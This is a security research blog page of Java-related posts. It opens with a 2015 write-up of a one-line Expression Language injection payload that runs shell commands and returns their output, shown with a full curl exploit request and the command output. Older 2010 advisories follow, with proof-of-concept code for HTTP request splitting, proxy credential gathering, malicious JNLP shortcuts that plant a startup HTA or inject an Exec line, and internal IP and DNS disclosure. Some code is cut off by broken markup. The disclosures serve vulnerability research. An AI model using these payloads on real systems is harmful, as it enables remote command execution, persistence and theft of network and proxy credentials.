Showing posts with label Java. Show all posts
Showing posts with label Java. Show all posts

Monday, November 23, 2015

Reliable OS Shell with - EL [ Expression Language ] - Injection


Abusing EL for executing OS Commands

Expression Language injection

Wow! It may lead to remote command execution on modern Servlet environments. This was  pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).

In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue  in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.

EL Injection example in a JSF Facelets Environment

index.xhtml gets “expression” parameter from the request and sends it to evalAsString():

        Hello from Facelets 
        <br /> 
        <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> 

NewClass.java implements ELAsString() that an EL implementation that evaluates arguments dynamically:

import java.io.Serializable;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;

@ManagedBean(name="beanEL")
@SessionScoped

public class NewClass implements Serializable {
   
    public static String ELAsString(String p_expression)
{
    FacesContext context = FacesContext.getCurrentInstance();
    ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory();
    ELContext elContext = context.getELContext();
    ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class);
    String result = (String) vex.getValue(elContext);
    return result;
}
}


Why a One-Liner OS command shell payload?


The rules of this OS command shell game:

- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL

Final payload


${facesContext.getExternalContext().getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}${session.getAttribute("scriptengine").eval("var
proc = new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start();
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}



Payload Explained

Feel free to change it and modify it to fit your current target.


1) Setting the charset:

System.out.println(URLEncoder.encode(pf.enc.encrypt("${request.getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}

2) Invoking ScriptManager constructor without arguments and we store the  instance as a session object:

${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())},${session.setAttribute("scriptengine\",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}

3) Redirect ScriptEngine output writer output to the Http Response writer input:

${session.setAttribute("scriptengine",session.getAttribute("scriptfactory\").getEngineByName("JavaScript"))},${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}

4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “java.io.Reader”) with the JS code that executes the runtime command:

${session.getAttribute("scriptengine").eval("
new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start()"))}

5) Getting proc standard Output and reading it via java.util.Scanner and printing it out

var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))

5) Closing the http response
${facesContext.getExternalContext().getResponse().getWriter().close()}



Is a Servlet Modern enough for a reliable RCE?


JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.

  • Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
  • Servlet 2.5 comes with JSP/EL 2.1.
  • Servlet 2.4 comes with JSP/EL 2.0.
  • Servlet 2.3 comes with JSP 1.2 without EL.
Note: Newer servers like Tomcat 8 and 9 have even newer servlet versions and better capabilities, but our target was running Jetty 9.1.

In 2012 Dan Amodio from Aspect Security  (http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection) discovered that  “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.

The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This  is a boring limitation since we can only invoke or call a limited number of methods:

private Object invokeMethod(Method m, Object base, Object[] params)
/*     */   {
/* 764 */     Class[] parameterTypes = m.getParameterTypes();
/* 765 */     Object[] parameters = null;
/* 766 */     if (parameterTypes.length > 0) {
/* 767 */       ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */       if (!m.isVarArgs())
/*     */       {
/*     */
/* 771 */         parameters = new Object[parameterTypes.length];
/* 772 */         for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */           parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/*     */         }
/*     */       }
/*     */     }
/*     */     try
/*     */     {
/* 779 */       return m.invoke(base, parameters);


If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine.  JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.

JS Rhino Script Engine is supported in Java 6 and 7,  Mozilla Nashorn Script Engine is available from Java 8.  For more information:

Rhino: https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html
Nashorn: https://docs.oracle.com/javase/8/docs/api/javax/script/ScriptEngineManager.html

Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.


Exploit Payload request:


n0def@n0def:/# curl
'http://localhost:8080/WebApplication/?&cmd=ls%20/&expression=%24{facesContext.getExternalContext%28%29.getResponse%28%29.setContentType%28%22text%2fplain%3b%0Acharset%3d\%22UTF-8\%22%22%29}%24{session.setAttribute%28%22scriptfactory%22%2c%22%22.getClass%28%29.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29%29}%24{session.setAttribute%28%22scriptengine%22%2csession.getAttribute%28%22scriptfactory%22%29.getEngineByName%28%22JavaScript%22%29%29}%24{session.getAttribute%28%22scriptengine%22%29.getContext%28%29.setWriter%28facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29%29}%24{session.getAttribute%28%22scriptengine%22%29.eval%28%22var%0Aproc%20%3d%20new%0Ajava.lang.ProcessBuilder[\%22%28java.lang.String[]%29\%22]%28[\%22%2fbin%2fsh\%22%2c\%22-c\%22%2c\%22%22.concat%28request.getParameter%28%22cmd%22%29%29.concat%28%22\%22]%29.start%28%29%3b%0Avar%20is%20%3d%20proc.getInputStream%28%29%3b%20var%20sc%20%3d%20new%0Ajava.util.Scanner%28is%2c\%22UTF-8\%22%29%3b%20var%20out%20%3d%20\%22\%22%3b%20while%0A%28sc.hasNext%28%29%29%20{out%20%2b%3d%20sc.nextLine%28%29%2bString.fromCharCode%2810%29%3b}%0Aprint%28out%29%3b%22%29%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.flush%28%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.close%28%29}'


Exploit Payload Response:


bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
vmlinuz
vmlinuz.old

n0def@n0def:/#

Tuesday, October 12, 2010

Http Request Splitting and Header Abuse with Java AddRequestProperty

Summary
It is possible abuse the method AddRequestProperty to:
  • inject new requests by abusing the request header Transfer-Encoding. The result is a well known attack called Http Request Splitting [1][2][3].
  • gather information about the existence of a Http Proxy.

Analysis
Applets sandbox allow requests to be performed to the host where they originate by using the class java.net.URL. This is allowed according to Java SOP.
Example:

f=new Packages.java.net.URL("http://appletoriginatinghost/")
g=f.openConnection();
g.setDoOutput(true);
g.setRequestMethod("GET") ;
dis2.flush();
dis2.close();
g.connect();
dis = new Packages.java.io.DataInputStream(g.getInputStream());

while((rl=dis.readLine())!=null){
log(rl) ;
}


We found that is possible to force a split of a Http request by using
Request.addRequestProperty("Transfer-Encoding", "chunked");

This could be used by a malicious user to bypass access in case a
forward proxy is set.

In fact by setting the request header to Transfer-Encoding: chunked
the payload will be parsed according to rfc2616 :

f=new Packages.java.net.URL("http://appletoriginatinghost/")
g=f.openConnection();
g.setDoOutput(true);
g.setRequestMethod("GET") ;
g.addRequestProperty("Transfer-Encoding", "chunked");
dis2 = new Packages.java.io.DataOutputStream(g.getOutputStream());
dis2.writeBytes("0\n\nGET http://someinternalHost HTTP/1.1\nHost: 10.1.1.1
\n\n");
dis2.flush();
dis2.close();
g.connect();
dis = new Packages.java.io.DataInputStream(g.getInputStream());

while((rl=dis.readLine())!=null){
log(rl) ;
}



Also it can be abused to get forward proxy information such as proxy password.

f=new Packages.java.net.URL("http://attacker/")
g=f.openConnection();
g.setRequestMethod("TRACE") ;
g.addRequestProperty("Max-Forwards", "0");

g.connect();
dis = new Packages.java.io.DataInputStream(g.getInputStream());

i=0
while(i<350){>

Monday, October 11, 2010

Java-JNLP-Applet User Assisted Arbitrary Execution

Summary
Java 6 update 10 plugin introduced several new features.

Among others there is the possibility to create an applet that will become a desktop applet by using JNLP in restricted environment.
This new feature is called draggable applets:

With Java SE 6 Update 10, Sun Microsystems, Inc. introduces a new paradigm for application deployment over the Internet: the ability to drag a live, running applet out of the web browser, dynamically transforming it into an application running on the desktop. The application can be re-launched later from a desktop shortcut or launch menu item using the standard JNLP and Java Web Start technologies. This capability is unique to the Java platform, and represents a complete unification of development and deployment in the web browser and on the desktop.


When an applet tag has

<param name="draggable" value="true">

it will become a jnlp Java application if a user simply click on it.

Depending on the JNLP it is also possible to ask the user to create a desktop shortcut of the applet.

17322757 ZERO TERMINATOR ALLOWS JNLP SHORTCUTS

Summary
It is possible to create arbitrary shortcut names leading to arbitrary code execution. Windows Only

Analysis
When the applet is dragged out of the HTML Java will read the JNLP file looking for some specific data.
Let's see an example:

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="DragExample.jnlp">
<information>
<title>A Title/title>
<vendor>Sun Microsystems Java Update</vendor>
<homepage href="https://jdk6.dev.java.net/plugin2/"/>
<description kind="tooltip">a Description</description>
<offline-allowed/>
<shortcut online="false">
<menu submenu="Folder"/>
<desktop/>
</shortcut>
</information>
<resources>
<j2se href="http://java.sun.com/products/autodl/j2se" version="1.4+"/>
<jar href="DragExample.jar" main="true" />
</resources>
<applet-desc
name="Drag Example"
main-class="DragExample"
<!-- Currently used when relaunching from the desktop shortcut -->
width="200"
height="200">
</applet-desc>
</jnlp>


The interesting tags under windows are:
  • title: Title value will be used by Java to name the LNK file on desktop.
  • description kind="tooltip" : will be written by Java in the LNK Description Field and used as tooltip.
  • shortcut online="false": is the command which will instruct Java to ask user for allowing a desktop shortcut (It is asked when user closes the browser tab).
  • menu submenu="Folder": Will save the lnk also in the Startup Menu on Windows.
Putting all together we found that once a user allows the creation of the shortcut, is possible to create an arbitrary name with enough arbitrary content and have it executed on startup.
Example of a malicious jnlp file:

<?xml version="1.0" encoding="utf-8"?>
<jnlp href="DragExample.jnlp">
<information>
<title>Microsoft Updat&#x202eknl.hta&#x0000;e</title>
<vendor>Sun Microsystems Java Update</vendor>
<homepage href="https://jdk6.dev.java.net/plugin2/"/>
<description kind="tooltip"><![CDATA[><script>malicious Scriptable Shell code Here</script>]]></description>
<offline-allowed/>
<shortcut online="false">
<menu submenu="Startup"/>
<desktop/>
</shortcut>
</information>
<resources>
<j2se href="http://java.sun.com/products/autodl/j2se" version="1.4+"/>
<jar href="DragExample.jar" main="true" />
</resources>
<applet-desc
name="Drag Example"
main-class="DragExample"
<!-- Currently used when relaunching from the desktop shortcut -->
width="200"
height="200">
</applet-desc>
</jnlp>



what happens here is that:
  • User sees a request of Desktop shortcut named Microsoft Update.ath.lnk (because of 2025 special char)
  • title value contains a null byte. So when Java tries to write: TitleName.lnk will pass "Microsoft Update.hta\u0000"+".LNK" and Windows will write the filename Microsoft Update.hta on the desktop
  • The content somewhere in the file will be a malicious Scriptable Shell object
  • Finally it will be saved also in the Windows menu and in particular in the Startup Menu Folder, which contains files which are to be launched at Windows startup.
17322755 NEW LINES IN JNLP TITLE ARE COPIED INTO LNK FILES
This issue is somewhat similar to the Windows one.
Linux shortcut creation is a bit different from windows. It just creates a .desktop file containing 'ini' directives.
In the Linux case, an attacker can control the content of the file using for example the Title field.

The issue here is in the fact that new lines are allowed and copied in the desktop file, allowing the injection of new directives.
Example:

<title>test
Exec=xterm
Type=Application
[test]</title>


Once the user allows the creation of the desktop shortcut, the file will contain a new command to launch (xterm).
So when the victim will click on the shortcut he will execute the injected command in spite of the Java Web Start.

Get Internal Network Information with Java Applets

The first two issue on Java Applets are related to Information disclosure.

In particular a malicious user could get important information about private IP of each NIC a victim has on her platform.

17364779 NETWORKINTERFACE HASHCODE PROBLEM

Summary
It is possible to infer network IP on any local NIC via HASHCODE.

Analysis
It is known since Java v1.4 that Applets expose some network information of a user machine.
It is in fact possible to use

java.net.Socket( host,port)).getLocalAddress().getHostAddress();


which does work according to SOP (Example here).
Since Java 6 several other methods have been added which disclose Nic names, MAC and other information.
There is however some limitation on the information that can be gathered, and in particular it's not possible to get the IPs because they are tied to Same Origin Policy; for example is not possible to get the IP of VPN local interface.

We found that it is possible to bypass SOP by reversing the Hashcode of NetworkInterface object.
Hashcode on NetworkInterface is calculated as follows:

public int hashCode() {
int i = 0;
if (this.addrs != null) {
for (int j = 0; j <>

As can be seen NetworkInterface hashCode is the sum of each attached IP hashCode which is computed in the following way:


public int hashCode()
{
return this.address;
}
// Where address is :
if ((paramArrayOfByte != null) &&
(paramArrayOfByte.length == 4)) {
this.address = (paramArrayOfByte[3] & 0xFF);
this.address |= paramArrayOfByte[2] <<>

It is hence possible to reverse the hashCode to the address by simply using the following code:

d=Packages.java.net.NetworkInterface.getByName("eth0").hashCode();
IP=(d>>>24&0xff)+"."+(d>>>16 &0xff)+"."+(d>>>8 &0xff)+"."+(d &0xff)


But, what happens if there are more IPs bound to a single NIC?
It depends. Linux for example generates unused IPv6 addresses from MAC Address so it's possible to calculate it from the value returned by:

nic.getHardwareAddress();


And then use it to get the IPv4.

17322679 JAVA APPLET DNS IP DISCLOSURE

Summary
It is possible to get the DNS address of a victim.

Analysis

The SOP mechanism on new Java 6 applets is similar to Flash.
Before doing any action it check for the existance of crossdomain.xml files.
It was found that when we try to explicitly resolve a name using Packages.javax.naming package
setting the DNS to "dns://" Java VM will get the default DNS and ask it for crossdomain.xml file with a HTTP request on port 80.
If DNS drops packets on port 80 then Java will wait until socket will timeout, otherwise will return immediately with an error.
The error contains the DNS IP. The attacker can easily get the DNS IP from the error and use it for further attacks (DNS Cache Poisoning and so on).


function f(){
try{
env=new Packages.java.util.Hashtable()
env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
env.put("java.naming.provider.url", "dns://");
ctx=new Packages.javax.naming.directory.InitialDirContext(env);
attrs = ctx.getAttributes("www.wisec.it",['*']);
}catch(e){alert(e)}
}
setTimeout(f,1);


Proof Of Concept
An example of what an attacker can gather from an applet can be found here
(should work on almost every browser maybe Safari has some problem):

There are a couple of non resolved issues:
If windows supports IPV6 and there are IPv4 + IPv6 IPs on a single interface it is not possible to infer them since Hashcode cannot be reversed.
You'll need to wait for socket timeout to have your DNS IP discovered so be patient.
The applet will get:
  • Your DNS IP
  • If you are using a proxy
  • If you are using an authentication over the proxy (if TRACE Method enabled)
  • Your proxy credentials
  • Your NIC interfaces comprehensive of your IP, MAC Address and some other infos

To be noted that MAC address revelation is a feature.

Ps. As you'll probably notice after running the POC, I also found that Java 6 plugin exposes to Javascript (java & Packages objects) on every browser but we will talk about it on another post.

Java 6u21 Seven Issues Summary

After several months since I contacted Oracle informing them about ten issues on Java applet security, they will release an important update of Java today.

It fixes several security issues, seven of which were found by me in May.

There will be some post on this blog describing the issues and an impact analysis.

In particular the issues are in order of impact the following:
Disclosure Timeline
20th Apr - 6 May 2010: Advisories sent to Oracle
25th June 2010: Oracle Confirms all issues
12 Oct 2010: Java update 22 released which fixes 7 out of 10 issues.
11-20 Oct 2010: Minded Security Advisories publicly disclosed.

Credits:
All the issues were found by Stefano Di Paola of Minded Security